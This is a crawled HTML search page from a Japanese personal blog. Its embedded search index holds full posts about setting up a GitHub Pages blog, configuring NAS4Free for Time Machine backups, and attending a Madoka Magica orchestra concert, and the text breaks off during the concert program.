CINXE.COM
Search | 犬アイコンのみっきー
<!DOCTYPE html><html lang="en"> <head><!-- favicon --><link rel="shortcut icon" href="/assets/icons/favicon.ico"><link rel="apple-touch-icon" sizes="180x180" href="/assets/icons/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/assets/icons/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/assets/icons/favicon-16x16.png"><link rel="manifest" href="/assets/icons/site.webmanifest"><link rel="mask-icon" href="/assets/icons/safari-pinned-tab.svg" color="#bfbffe"><link rel="shortcut icon" href="/assets/icons/favicon.ico"><!-- theme meta --><meta name="theme-name" content="astroplate"><meta name="msapplication-TileColor" content="#bfbffe"><meta name="msapplication-config" content="/assets/icons/browserconfig.xml"><meta name="theme-color" media="(prefers-color-scheme: light)" content="#fff"><meta name="theme-color" media="(prefers-color-scheme: dark)" content="#000"><meta name="generator" content="Astro v4.11.0"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!-- google font css --><link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin><link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;600&family=Signika:wght@500;700&display=swap" rel="stylesheet"><!-- responsive meta --><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=5"><!-- title --><title> Search | 犬アイコンのみっきー </title><!-- canonical url --><!-- noindex robots --><!-- meta-description --><meta name="description" content="犬アイコンのみっきー"><!-- author from config.json --><meta name="author" content="mzyy94"><!-- og-title --><meta property="og:title" content="Search"><!-- og-description --><meta property="og:description" content="犬アイコンのみっきー"><meta property="og:type" content="website"><meta property="og:url" content="https://www.mzyy94.com/blog/search/"><!-- twitter-title --><meta name="twitter:title" content="Search"><!-- twitter-description --><meta name="twitter:description" content="犬アイコンのみっきー"><!-- og-image --><meta property="og:image" content="https://www.mzyy94.com/images/og-image.png"><!-- twitter-image --><meta name="twitter:image" content="https://www.mzyy94.com/images/og-image.png"><meta name="twitter:card" content="summary_large_image"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script><script> (adsbygoogle = window.adsbygoogle || []).push({ google_ad_client: "ca-pub-5429584698977304", enable_page_level_ads: true }); </script><!-- Global site tag (gtag.js) - Google Analytics --><script async src="https://www.googletagmanager.com/gtag/js?id=UA-41944495-3"></script><script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'UA-41944495-3'); gtag('config', 'G-1PR2WVYFR7'); </script><link rel="stylesheet" href="/_astro/_regular_.DA6JbE42.css"> <link rel="stylesheet" href="/_astro/_regular_.7hwhs8lT.css"></head> <body> <header class="header z-30 false"> <nav class="navbar container"> <!-- logo --> <div class="order-0"> <a href="/" class="navbar-brand inline-block"> <img src="/assets/images/title.png" class="inline-block dark:hidden" alt="犬アイコンのみっきー" fit="contain" background="rgba(0,0,0,0)" style="height:64px;width:256px" width="512" height="128" loading="lazy" decoding="async"> <img src="/assets/images/title-darkmode.png" class="hidden dark:inline-block" alt="犬アイコンのみっきー" fit="contain" background="rgba(0,0,0,0)" style="height:64px;width:256px" width="512" height="128" loading="lazy" decoding="async"> </a> </div> <!-- navbar toggler --> <input id="nav-toggle" type="checkbox" class="hidden"> <label id="show-button" for="nav-toggle" class="order-3 flex cursor-pointer items-center text-dark dark:text-white lg:order-1 lg:hidden"> <svg class="h-6 fill-current" viewBox="0 0 20 20"> <title>Menu Open</title> <path d="M0 3h20v2H0V3z m0 6h20v2H0V9z m0 6h20v2H0V0z"></path> </svg> </label> <label id="hide-button" for="nav-toggle" class="order-3 hidden cursor-pointer items-center text-dark dark:text-white lg:order-1"> <svg class="h-6 fill-current" viewBox="0 0 20 20"> <title>Menu Close</title> <polygon points="11 9 22 9 22 11 11 11 11 22 9 22 9 11 -2 11 -2 9 9 9 9 -2 11 -2" transform="rotate(45 10 10)"></polygon> </svg> </label> <!-- /navbar toggler --> <ul id="nav-menu" class="navbar-nav order-3 hidden w-full pb-6 lg:order-1 lg:flex lg:w-auto lg:space-x-2 lg:pb-0 xl:space-x-8"> <li class="nav-item"> <a href="/blog/" class="nav-link block false"> Blog </a> </li><li class="nav-item"> <a href="/blog/tags/" class="nav-link block false"> Tags </a> </li><li class="nav-item"> <a href="/blog/categories/" class="nav-link block false"> Categories </a> </li> </ul> <div class="order-1 ml-auto flex items-center md:order-2 lg:ml-0"> <a class="mr-5 inline-block border-r border-border pr-5 text-xl text-dark hover:text-primary dark:border-darkmode-border dark:text-white" href="/blog/search/" aria-label="search"> <svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M456.69 421.39 362.6 327.3a173.81 173.81 0 0 0 34.84-104.58C397.44 126.38 319.06 48 222.72 48S48 126.38 48 222.72s78.38 174.72 174.72 174.72A173.81 173.81 0 0 0 327.3 362.6l94.09 94.09a25 25 0 0 0 35.3-35.3zM97.92 222.72a124.8 124.8 0 1 1 124.8 124.8 124.95 124.95 0 0 1-124.8-124.8z"></path></svg> </a> <div class="theme-switcher mr-5"><input id="theme-switcher" data-theme-switcher type="checkbox"><label for="theme-switcher"><span class="sr-only">theme switcher</span><span><svg class="absolute left-[4px] top-[4px] z-10 opacity-100 dark:opacity-0" viewBox="0 0 56 56" fill="#fff" height="16" width="16"><path d="M30 4.6c0-1-.9-2-2-2a2 2 0 0 0-2 2v5c0 1 .9 2 2 2s2-1 2-2Zm9.6 9a2 2 0 0 0 0 2.8c.8.8 2 .8 2.9 0L46 13a2 2 0 0 0 0-2.9 2 2 0 0 0-3 0Zm-26 2.8c.7.8 2 .8 2.8 0 .8-.7.8-2 0-2.9L13 10c-.7-.7-2-.8-2.9 0-.7.8-.7 2.1 0 3ZM28 16a12 12 0 0 0-12 12 12 12 0 0 0 12 12 12 12 0 0 0 12-12 12 12 0 0 0-12-12Zm23.3 14c1.1 0 2-.9 2-2s-.9-2-2-2h-4.9a2 2 0 0 0-2 2c0 1.1 1 2 2 2ZM4.7 26a2 2 0 0 0-2 2c0 1.1.9 2 2 2h4.9c1 0 2-.9 2-2s-1-2-2-2Zm37.8 13.6a2 2 0 0 0-3 0 2 2 0 0 0 0 2.9l3.6 3.5a2 2 0 0 0 2.9 0c.8-.8.8-2.1 0-3ZM10 43.1a2 2 0 0 0 0 2.9c.8.7 2.1.8 3 0l3.4-3.5c.8-.8.8-2.1 0-2.9-.8-.8-2-.8-2.9 0Zm20 3.4c0-1.1-.9-2-2-2a2 2 0 0 0-2 2v4.9c0 1 .9 2 2 2s2-1 2-2Z"></path></svg><svg class="absolute left-[4px] top-[4px] z-10 opacity-0 dark:opacity-100" viewBox="0 0 24 24" fill="none" height="16" width="16"><path fill="#000" fill-rule="evenodd" clip-rule="evenodd" d="M8.2 2.2c1-.4 2 .6 1.6 1.5-1 3-.4 6.4 1.8 8.7a8.4 8.4 0 0 0 8.7 1.8c1-.3 2 .5 1.5 1.5v.1a10.3 10.3 0 0 1-9.4 6.2A10.3 10.3 0 0 1 3.2 6.7c1-2 2.9-3.5 4.9-4.4Z"></path></svg></span></label></div><script>(function(){const defaultTheme = "system"; var darkMode = defaultTheme === "dark" ? true : false; var themeSwitch = document.querySelectorAll("[data-theme-switcher]"); if (window.matchMedia("(prefers-color-scheme: dark)").matches) { darkMode = true; } if (localStorage.getItem("theme") === "dark") { darkMode = true; } else if (localStorage.getItem("theme") === "light") { darkMode = false; } if (darkMode) { document.documentElement.classList.toggle("dark"); } document.addEventListener("DOMContentLoaded", () => { [].forEach.call(themeSwitch, function (ts) { ts.checked = darkMode ? true : false; ts.addEventListener("click", () => { document.documentElement.classList.toggle("dark"); localStorage.setItem( "theme", document.documentElement.classList.contains("dark") ? "dark" : "light" ); }); }); }); })();</script> </div> </nav> </header> <main id="main-content"> <style>astro-island,astro-slot,astro-static-slot{display:contents}</style><script>(()=>{var e=async t=>{await(await t())()};(self.Astro||(self.Astro={})).load=e;window.dispatchEvent(new Event("astro:load"));})();;(()=>{var A=Object.defineProperty;var g=(i,o,a)=>o in i?A(i,o,{enumerable:!0,configurable:!0,writable:!0,value:a}):i[o]=a;var d=(i,o,a)=>g(i,typeof o!="symbol"?o+"":o,a);{let i={0:t=>m(t),1:t=>a(t),2:t=>new RegExp(t),3:t=>new Date(t),4:t=>new Map(a(t)),5:t=>new Set(a(t)),6:t=>BigInt(t),7:t=>new URL(t),8:t=>new Uint8Array(t),9:t=>new Uint16Array(t),10:t=>new Uint32Array(t)},o=t=>{let[l,e]=t;return l in i?i[l](e):void 0},a=t=>t.map(o),m=t=>typeof t!="object"||t===null?t:Object.fromEntries(Object.entries(t).map(([l,e])=>[l,o(e)]));class y extends HTMLElement{constructor(){super(...arguments);d(this,"Component");d(this,"hydrator");d(this,"hydrate",async()=>{var b;if(!this.hydrator||!this.isConnected)return;let e=(b=this.parentElement)==null?void 0:b.closest("astro-island[ssr]");if(e){e.addEventListener("astro:hydrate",this.hydrate,{once:!0});return}let c=this.querySelectorAll("astro-slot"),n={},h=this.querySelectorAll("template[data-astro-template]");for(let r of h){let s=r.closest(this.tagName);s!=null&&s.isSameNode(this)&&(n[r.getAttribute("data-astro-template")||"default"]=r.innerHTML,r.remove())}for(let r of c){let s=r.closest(this.tagName);s!=null&&s.isSameNode(this)&&(n[r.getAttribute("name")||"default"]=r.innerHTML)}let p;try{p=this.hasAttribute("props")?m(JSON.parse(this.getAttribute("props"))):{}}catch(r){let s=this.getAttribute("component-url")||"<unknown>",v=this.getAttribute("component-export");throw v&&(s+=` (export ${v})`),console.error(`[hydrate] Error parsing props for component ${s}`,this.getAttribute("props"),r),r}let u;await this.hydrator(this)(this.Component,p,n,{client:this.getAttribute("client")}),this.removeAttribute("ssr"),this.dispatchEvent(new CustomEvent("astro:hydrate"))});d(this,"unmount",()=>{this.isConnected||this.dispatchEvent(new CustomEvent("astro:unmount"))})}disconnectedCallback(){document.removeEventListener("astro:after-swap",this.unmount),document.addEventListener("astro:after-swap",this.unmount,{once:!0})}connectedCallback(){if(!this.hasAttribute("await-children")||document.readyState==="interactive"||document.readyState==="complete")this.childrenConnectedCallback();else{let e=()=>{document.removeEventListener("DOMContentLoaded",e),c.disconnect(),this.childrenConnectedCallback()},c=new MutationObserver(()=>{var n;((n=this.lastChild)==null?void 0:n.nodeType)===Node.COMMENT_NODE&&this.lastChild.nodeValue==="astro:end"&&(this.lastChild.remove(),e())});c.observe(this,{childList:!0}),document.addEventListener("DOMContentLoaded",e)}}async childrenConnectedCallback(){let e=this.getAttribute("before-hydration-url");e&&await import(e),this.start()}async start(){let e=JSON.parse(this.getAttribute("opts")),c=this.getAttribute("client");if(Astro[c]===void 0){window.addEventListener(`astro:${c}`,()=>this.start(),{once:!0});return}try{await Astro[c](async()=>{let n=this.getAttribute("renderer-url"),[h,{default:p}]=await Promise.all([import(this.getAttribute("component-url")),n?import(n):()=>()=>{}]),u=this.getAttribute("component-export")||"default";if(!u.includes("."))this.Component=h[u];else{this.Component=h;for(let f of u.split("."))this.Component=this.Component[f]}return this.hydrator=p,this.hydrate},e,this)}catch(n){console.error(`[astro-island] Error hydrating ${this.getAttribute("component-url")}`,n)}}attributeChangedCallback(){this.hydrate()}}d(y,"observedAttributes",["props"]),customElements.get("astro-island")||customElements.define("astro-island",y)}})();</script><astro-island uid="1yNv2C" prefix="r0" component-url="/_astro/Search.DYIrZiRJ.js" component-export="default" renderer-url="/_astro/client.BY2mA-CD.js" props="{"searchList":[1,[[0,{"slug":[0,"2013/12/07/create-new-blog/"],"data":[0,{"title":[0,"blogを建ててみた"],"date":[3,"2013-12-07T09:22:11.000Z"],"image":[0,"/assets/images/2013/12/07/create-new-blog.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Web"]]],"tags":[1,[[0,"html5"],[0,"css3"],[0,"gh-pages"]]]}],"content":[0,"\nいままで情報を発信する場として、確かなものが周りになかったので新年に向けて新しくブログを作成しました。\nよろしくお願いします。\n\n今回はサイトのホスティングとして、Github pagesを用いることにしました。Github pagesでブログを制作する方法に関しては、\n[こちら][1]とかで確認して下さい。\n\nブログのスタイリングのために、今回はBootstrapをベースに構成しました。BootstrapはOOCSSを謳っているものの、\nオブジェクト指向特有のごちゃごちゃしたプロパティ名が好みではなかったので利用を控えていました。\nではなぜBootstrapを選んだかというと、単純にスタイルテンプレートがBootstrap向けだったためです。\n\n\nサイトデザインを模索しているときに出会ったとても気に入ったテーマがありました。[PixelKit][2]で公開されている[Modern Touch][3]というものです。\n最近の流行であるフラットデザインをシンプルな配色で実装し、中途半端さが無く、とても清潔感あふれている点に惹かれました。\nしかしここで気になったのがデザインの配布形式です。\n\n過去から現在にかけてWeb UIデザインは各所で提案され公開されてきていますが、公開形式として大半を占めているのがPSD形式のものです。\nHTML5やCSS3が主要となりつつある現代WebデザインにおいてはUIに多くの画像を用いることはあまり好まれません。\n汎用性が高いという理由でしょうが、Web UIやUIデザインが提供されている形式はPSD形式ばかりです。\nそんなサイトがたくさんある中、少数派であるHTML5とCSS3を用いてサイトデザインを提供公開しているサイトにもれず、[Pixelkit][2]もHTML5/CSS3でデザインを提供していたのです。\n\nこのサイトにあるデザインはすべてが無料で提供されているわけではありません。公開されているデザインをすべて利用するには年間Subscriptionが必要です。\nしかし、今回使用したテーマのModern touchを始め、いくつかのデザインは[GitHubにて公開](https://github.com/Pixelkit/PixelKit-Bootstrap-UI-Kits)されています。ライセンスは[CC BY 3.0][CCBY3.0]と[MIT][MIT]です。\n\n「せっかくよいデザインを見つけたのだから使いたい」と思ったので使うことにしました。\nサイトデザインのために、好みでなかったTwitter Bootstrapを利用しはじめ、Octopressのテーマをいじっていきました。\n時々出力されたサイトのソースをみるとこんなかんじになっていました。\n\n<figure>\n<img src=\"/assets/images/2013/12/07/blog-html-sourcecode.png\" alt=\"blog html sourcecode\" />\n<figcaption class=\"boxed-green\">blogのソースコード</figcaption>\n</figure>\n\nOOCSSの影響でclassが溢れて可読性が下がると思っていましたが、この程度の組み方であればあまり影響はないようです。\n\nGitHub pagesとOctopressによってブログを書き始めました。というお話でした。\nまだまだ未熟者ですが今後とも宜しくお願いします。\n\n\n[1]: http://morizyun.github.io/blog/octopress-gitpage-minimum-install-guide/ \"OctopressでGitHub無料ブログ構築。sourceをBitbucket管理。簡単ガイド! - 酒と泪とRubyとRailsと\"\n[2]: http://pixelkit.com/ \"Premium Web UI Kits & Design Resources | PixelKit\"\n[3]: http://pixelkit.com/kits/flat-ui-kit \"Flat UI Kit | Modern Touch\"\n[CCBY3.0]: http://creativecommons.org/licenses/by/3.0/ \"Creative Commons — Attribution 3.0 Unported — CC BY 3.0\"\n[MIT]: http://opensource.org/licenses/mit-license.html \"The MIT License (MIT) | Open Source Initiative\"\n"]}],[0,{"slug":[0,"2013/12/10/timemachine-with-nas4free/"],"data":[0,{"title":[0,"NAS4FreeでTime Machineの設定するメモ"],"date":[3,"2013-12-10T03:58:47.000Z"],"image":[0,"/assets/images/2013/12/10/timemachine-with-nas4free.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"NAS"]]],"tags":[1,[[0,"nas4free"],[0,"timemachine"],[0,"mac"],[0,"server"]]]}],"content":[0,"\nMavericksの登場で手元のMacBook Airをクリーンインストールしました。\nその際、バックアップから復元するような手段は取らず、必要なデータのみを移して環境を再構築しました。\nというのも、いままではTime Machineでバックアップを取っていなかったがために復元する手段がなかったのです。\n\n次のバージョンでもクリーンインストールする予定ではありますが、突然のデータ消失に備えてTime Machineでの定期バックアップをするようにしました。\n\nTime Machineのバックアップ先としては主に利用されるのは外付けドライブやTime Capsuleなどいろいろなバックアップ先があります。\nしかし、MacBook Airをポータブル端末として利用している身としては、バックアップのたびにケーブルを抜き差しするのは効率を落とすだけでなく、バックアップ中は移動ができなくなってしまうため、候補から外しました。\n\nケーブルレスでTime Machineの機能を使う方法としては、無線LAN経由でネットワークストレージにバックアップする方法に限られてきてしまいます。\nTime Machineのバックアップ用ネットワークストレージとして、Appleからは[AirMac Time Capsule](http://store.apple.com/jp/product/ME177/airmac-time-capsule-2tb)なるものが発売されていますが、これが如何せんお高い。\n主な機能としてのTime MachineのバックアップとIEEE802.11ac対応無線LANルータの2つを備えた2TBのもので29,800円するという。\nもっと多機能で安価なものを自分で構成したいという欲が湧いてきました。\n\n## 目次\n\n\n前置きが長くなりましたが、ここからが本題です。\nNASを建ててTime Machineのバックアップ先にするというお仕事になります。\n\nまず、NASを立てるところから始めます。既成品のNASはいじりがいがいがないので却下しました。\n__たまたま__自宅にAcer Aspire H340なるサーバー用のマシンが転がっていたのでこれを流用します。\nストレージには[WD Green 3.5inch 2.0TB](http://www.amazon.co.jp/gp/product/B009QWUF6M/ref=as_li_qf_sp_asin_tl?ie=UTF8&camp=247&creative=1211&creativeASIN=B009QWUF6M&linkCode=as2&tag=mzyy940f-22)を利用します。\n\nハードウェアが準備出来たら次はソフトウェアです。NAS向けのOSはいくつか存在しています。\n\n* [FreeNAS](http://freenas.org/)\n* [NAS4Free](http://www.nas4free.org/)\n* [OpenMediaVault](http://openmediavault.org/)\n* [Openfiler](http://www.openfiler.com/)\n* [CryptoNAS](http://cryptonas.org/)\n\nどれも得意な機能を持っており、その特徴と利用したい機能が一致したものを利用すればいいのですが、今回用意したH340のマシンは256MBのオンボードフラッシュストレージを搭載しているので、その256MBに収まるものに限定することにしました。\n今回リストアップしたなかでは、NAS4Freeが機能的にもよく、256MBにも収まるものでしたのでこれを選択しました。\n\n\n\n\n## NAS4Freeのインストール\nダウンロードしたx8664のイメージをCDに焼き、ブートして起動してEmbeddedインストールするだけです。\nこのEmbeddedインストールではイメージファイルを書き込むもので、256MBに収まる用にできています。\nFreeNASも同じくEmbededインストールをサポートしていますが、2GBの容量が必要とのことですので断念しました。\n\n## 起動\nネットワークの設定をして起動し、[nas4free.local](http://nas4free.local)にアクセスします。\n\n## 設定\n\n### ディスクの設定\n\nNAS4Freeが起動したら\n\n1. Disk->Managementでディクスをオンラインにし、\n2. Disk->Formatでフォーマットした後に、\n3. Disk->Mount pointでマウントします。\n\nフォーマット形式はUFSにしました。\n以前、FreeNAS用にZFSで作った際にpoolを破壊してしまってデータが吹っ飛んだ経験があるため、ZFSは避けましたが、\nメモリが潤沢に搭載されているシステムであればraidzを利用してもいいかと思います。\n\n\n\n\n\n\n### AFPの設定\nServices->AFPにて、\n\n1. SettingsタブをEnableにし、 Enable local user authentication. にチェックしてサービスを開始し、\n2. Shareタブで、\n\n---\n\n* Name: 適当な名前\n* Comment: 適当なコメント\n* Path: 先ほどマウントしたマウントポイント以下の任意のパス\n* Share Character Set: UTF8\n* Allow: timecapsule\n* Read/Write Access: timecapsule\n* Automatic disk discovery: Enable\n* Automatic disk discovery mode: Time Machine\n\n---\nと、設定します。ほかはデフォルトのままにしました。\n\n\n\n\n\nこの設定で、同一ネットワークにつながったMacからTime Machineの設定を開くと以下のように、バックアップ先に設定できるようになっていると思います。\n\n\n\n\n\n設定方法と、NASの紹介でした。\n"]}],[0,{"slug":[0,"2013/12/11/madomagi-concert-nagoya/"],"data":[0,{"title":[0,"まどマギコンサート名古屋行ってきた"],"date":[3,"2013-12-11T14:50:50.000Z"],"image":[0,"/assets/images/2013/12/11/madomagi-concert-nagoya.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Trip"]]],"tags":[1,[[0,"anime"],[0,"madomagi"],[0,"concert"],[0,"diary"]]]}],"content":[0,"\n昨日に開催された魔法少女まどか☆マギカ オーケストラ・コンサートに行ってきまし。\nこのオーケストラコンサートは各所ですでに開演されており、今回行った名古屋公演で4回目とのことです。\n少しの写真とコンサートを聴いた雑感をまとめておきます。\n\n## 目次\n\n\n## 会場\n\n\n\n\n\n名古屋公演は[愛知芸術文化センター](http://www.aac.pref.aichi.jp/)内の[愛知芸術劇場](http://www.aac.pref.aichi.jp/gekijyo/)5階、[コンサートホール](http://www.aac.pref.aichi.jp/gekijyo/c_hole.html)にて開催されました。\n栄駅降りてすぐのところで、開場1時間前には辺りも暗くなり、隣接するオアシス21とテレビ塔が綺麗に光り輝いていました。\nこのコンサートホールは県内でも有名なコンサートホールで、公式サイトにある、\n> クラシック音楽に最適な豊かな響きを持った本格的なコンサート専用ホールです。\n\n> 残響時間は満席時に約2.1秒となるよう設計されており、第一級の音響を提供します。\n\n> シューボックス型がもつ音響特性の良さと、アリーナ型がもつ舞台と客席の一体感を合わせもつ、バルコニー型を併用したアリーナ型のホールです。\n\nとの謳い文句が誇大ではないというのが実際、ハープの調律の際に感じ取れました。\n\n\n## 客数\n事前に販売されていたチケットは完売で、予定されていた席はほぼ埋まっている様子でした。\n空席はほぼなかったと見て取れました。\n\n事前販売チケットがよく捌けたことで機転を利かせてか、まどか☆マギカ公式ツイッターアカウントは、\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>本日開催の『劇場版 魔法少女まどか☆マギカ』オーケストラ・コンサート名古屋公演ですが、機材席の一部を解放しまして当日券を若干ではございますが販売することになりました。当日券は18時より販売致します。枚数が限られており、完売の場合はご了承ください。 <a href=\"https://twitter.com/search?q=%23madoka_magica&amp;src=hash\">#madoka_magica</a></p>&mdash; 魔法少女まどか☆マギカ (@madoka_magica) <a href=\"https://twitter.com/madoka_magica/statuses/410683990618566656\">2013, 12月 11</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nとつぶやき、急遽当日券を用意してくださっていました。\n\n\n## 客層\n中学生らしき制服を着た男の子からおばあちゃん世代の方まで幅広い層の客が集まっている印象でした。\nこの手のイベントでは男性が多いという勝手な想像があったのですが、\n辺りを見渡してみると、男女比ほぼ半々のようですごい幅広い客層が集まっていると感じました。\n\n特に珍しいと思ったのが、親子連れで来ている客が数組いたことです。\nアニメだからというこだわりを持たず、オーケストラ・コンサートを純粋に聴きに来ている方も多いのではという雑感をいだきました。\n\n## 物販\n会場ではまどか☆マギカ関連グッズの販売をしていました。\n\nローソンHMV関連グッズが多い中、コンサート限定パンフレットの販売もしておりました。\nこのパンフレットを多くの人が求め、物販には行列ができていました。\n人だかりが見える写真は開場直後のロビーの様子で、左側の壁に沿って並んでいるのが物販を求める人達の列です。\n\nせっかくなのでパンフレットと、会場入りする前の水分補給として十六茶を購入しました。\n\n\n\n\n\n\n\n## ホール内\n名古屋公演の特別演出として、他の会場にはない【スクリーン・コンサート形式】という演出をすると[公式サイト](http://www.aim-vil.com/sponsor/madoka-concert/12-11-%E5%90%8D%E5%8F%A4%E5%B1%8B%E5%85%AC%E6%BC%94/)に記載がありました。\n説明では、\n> オーケストラの生演奏+名場面をスクリーンに投影(静止画)!\n> 目と耳でお楽しみいただける公演形式です。\n\nとありました。\nステージ中央上空に設置されているスクリーンがこの演出に使われるものでした。\n\n1階席の最後部にはマイクロフォンが設置されていました。\n全公演終了後にCD化して発売でもするのでしょうか?\n\n開演前にすでに、[ハープ](http://ja.wikipedia.org/wiki/%E3%83%8F%E3%83%BC%E3%83%97)や[ウィンドマシン](http://ja.wikipedia.org/wiki/%E3%82%A6%E3%82%A3%E3%83%B3%E3%83%89%E3%83%9E%E3%82%B7%E3%83%BC%E3%83%B3)などのいくつか大きな楽器が設置されていました。\n\n奏者の方が演奏前に舞台風景に関して写真付きでつぶやいておられました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>まどか☆マギカオーケストラの名古屋公演。いよいよ今日の夜です。&#10;とっても素晴らしい響きのホールですよ! <a href=\"http://t.co/qeL6D8Jgak\">pic.twitter.com/qeL6D8Jgak</a></p>&mdash; 待山 一生 (@machiyamaissei) <a href=\"https://twitter.com/machiyamaissei/statuses/410479386731618304\">2013, 12月 10</a></blockquote>\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>朝からパーカッションパートの方々と優雅な朝食済ませて、ホール入り。&#10;大好きなアニメの演奏を、素晴らしいホールや素敵なオーケストラ、指揮者、そして楽しい仲間と出来るって、それはとっても嬉しいなって。 <a href=\"http://t.co/3FEE0zlhGX\">pic.twitter.com/3FEE0zlhGX</a></p>&mdash; 待山 一生 (@machiyamaissei) <a href=\"https://twitter.com/machiyamaissei/statuses/410582767705944064\">2013, 12月 11</a></blockquote>\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>まもなく、魔法少女まどか☆マギカのオーケストラコンサート名古屋公演です。視覚と聴覚の両方で、魔法少女たちの物語を感じてください。<a href=\"https://twitter.com/search?q=%23madoka_magica&amp;src=hash\">#madoka_magica</a> <a href=\"http://t.co/m2sZlhFQL4\">pic.twitter.com/m2sZlhFQL4</a></p>&mdash; 待山 一生 (@machiyamaissei) <a href=\"https://twitter.com/machiyamaissei/statuses/410691793655578625\">2013, 12月 11</a></blockquote>\n\n\n## 演奏\n\nこの名古屋公演は19:00開演で、開演5分前には鈴が鳴り始まる旨を合図していました。\nその合図の後、暁美ほむら役の斎藤千和さんが場内アナウンスで注意事項等の連絡をしていました。\n公式サイトにあるよう、当日は事前集力での出演だということなので録音のアナウンスのようです。\n\n曲目は[公式サイトのコンサート・プログラム](http://www.aim-vil.com/sponsor/madoka-concert/%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%A0/)に載っています。\nこのページの最後にも引用して載せておきました。\n\n\nアナウンスが終わり、奏者と識者が入場しました。\n壮大な拍手で迎えられ、静かになった後、演奏が始まりました。\n\nコーラスと共にSis puella magica!(通称:営業のテーマ)が奏でられ、暁美ほむらさんのナレーションがありました。\nこの曲はコンサートの序曲だったようで、次から本編が始まると暁美ほむらさんはおっしゃっていました。\n\n本編が始まってからは感動の嵐でした。\nオーケストラ用にアレンジされた生演奏の曲はどれも美しく、聴いていて心地よかったです。\n劇場版のストーリー順を意識しながら演奏順が組まれており、物語の流れを感じながら聴き入っていました。\nさらには、名古屋公演だけの特別演出である【スクリーン・コンサート形式】によって物語の場面場面が投映され、\n曲のシーンを鮮明に意識できたので、楽曲とストーリーとの関連を聴き取りながら感じられました。\n他の公演ではキャストの方が出演されていたので、この名古屋公演のスクリーン・コンサート形式には賛否両論ありましたが、\n実際に体験してみると、とてもよい環境で聴けたので十分満足できました。\n\n演奏に関しての感想は、全体的には個々の楽器の音色をオーケストラ用にしっかりと編成してあり、とくにバイオリンやフルートが目立つように聴こえました。\nただ、席の都合かスピーカーからでる電子楽器の音が大きく、コーラスとともに奏でられる曲は声が届きづらかったです。\nしかし、コーラスや小さい音色を出す楽器と共演せず、ベースギター・エレキギターが弾ける曲はとても響いてよく聴こえました。\n\n奏でられたすべての曲に感想を書いていても長くだらだらと続いていくだけなので、特に印象に残った曲をピックアップして感想を書いていきます。\n\n#### a human bullet\n典型的なエレキギターやドラムが響きわたっていて元気になる曲でした。\n#### Confessio\nトーンチャイムによる柔らかな音色と鍵盤打楽器によるメロディーに安らぎを感じる曲でした。\n#### Witch world #2\n二人のしっかりとしたコーラスが曲の注目を寄せ付け、それと強調して奏でられる楽器の音色とがとてもバランスよく、聴き応えがありました。\n#### she is a witch\nWhich world #2に続いて演奏されたのがこの曲。男性コーラス人も参加した全体のコーラスが他の楽曲とは比べ物にならないほどの迫力あり、テンポも軽快で前半の〆として、後半の演奏に期待させる終わり方でした。\n#### Symposium magarum\n劇中でもオーケストラとして演奏されるシーンで登場した曲なので、実際にオーケストラコンサートで演奏されると、もうそれは涙が出てもおかしくない感動がえられました。\n#### mother and daughter\nとてもきれいでしなやかな演奏でした。ピアノソロで奏でる曲はいくつかあったのですが、これは映像とともに劇中のシーンの感動をさらに思い起こさせる演奏であったため、特に心に残っています。\n\n\n\n前半後半すべての曲がおわり、指揮者が降壇したとき、\n演奏中は曲間に拍手で感動を表すことができなかったからか、会場からまさに言葉通り壮大な拍手が贈られました。\n\nプログラムが終了し、指揮者が舞台袖にはけたと思うと、バイオリニストとピアニストが立ち上がり、スポットライトを浴びました。\n場内全員がいまから何が起こるのか静かに待っていると、ここであの名曲が奏でられました。\n[グノーのアヴェ・マリア](http://upload.wikimedia.org/wikipedia/commons/a/ab/Rappold_and_Spalding_-_Ave_Maria_%28Bach%2C_Gounod%29.ogg)です。\n思わず泣いてしまいそうでした。\n\nこれが終わると指揮者が戻り、アンコール曲として、for the next episodeが流れました。\nこれもまたフルートが綺麗に鳴り響いており、また、最後の曲となると思うと涙が流れてきました。\n\n最後に指揮者の挨拶があり、「みなさんでMagiaを楽しみましょう」とおっしゃり、会場全体が手拍子をして盛り上がり公演は終了しました。\n\n会場は感動にあふれ、奏者全員が舞台から見えなくなるまで今日一番の拍手が鳴り響き、今日の公演はすべて終了しました。\n\n公演終了後、主催会社のツイッターでは場内の様子がつぶやかれていました。\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>名古屋公演は無事終了しました!ホールからの撤収も完了しました。ご来場下さった全てのお客様に感謝申し上げます!&#10;ありがとうございました!! <a href=\"http://t.co/EoFnAmimi2\">pic.twitter.com/EoFnAmimi2</a></p>&mdash; 株式会社アイムビレッジ (@AimVil_MusicDiv) <a href=\"https://twitter.com/AimVil_MusicDiv/statuses/410771901640749056\">December 11, 2013</a></blockquote>\n\n\n以上、劇場版 魔法少女まどか☆マギカ オーケストラ・コンサートに行ってきた感想でした。\n\n\n\n### コンサート・プログラム\n引用元:[AIM VILLAGE 劇場版魔法少女まどか☆マギカ オーケストラ・コンサート コンサート・プログラム](http://www.aim-vil.com/sponsor/madoka-concert/%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%A0/)\n\n1. Sis puella magica! [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/sis-puella-magica!/id575591707?i=575591878&uo=4&at=1l3v4mQ)\n2. Terror adhaerens [<i class=\"glyphicon 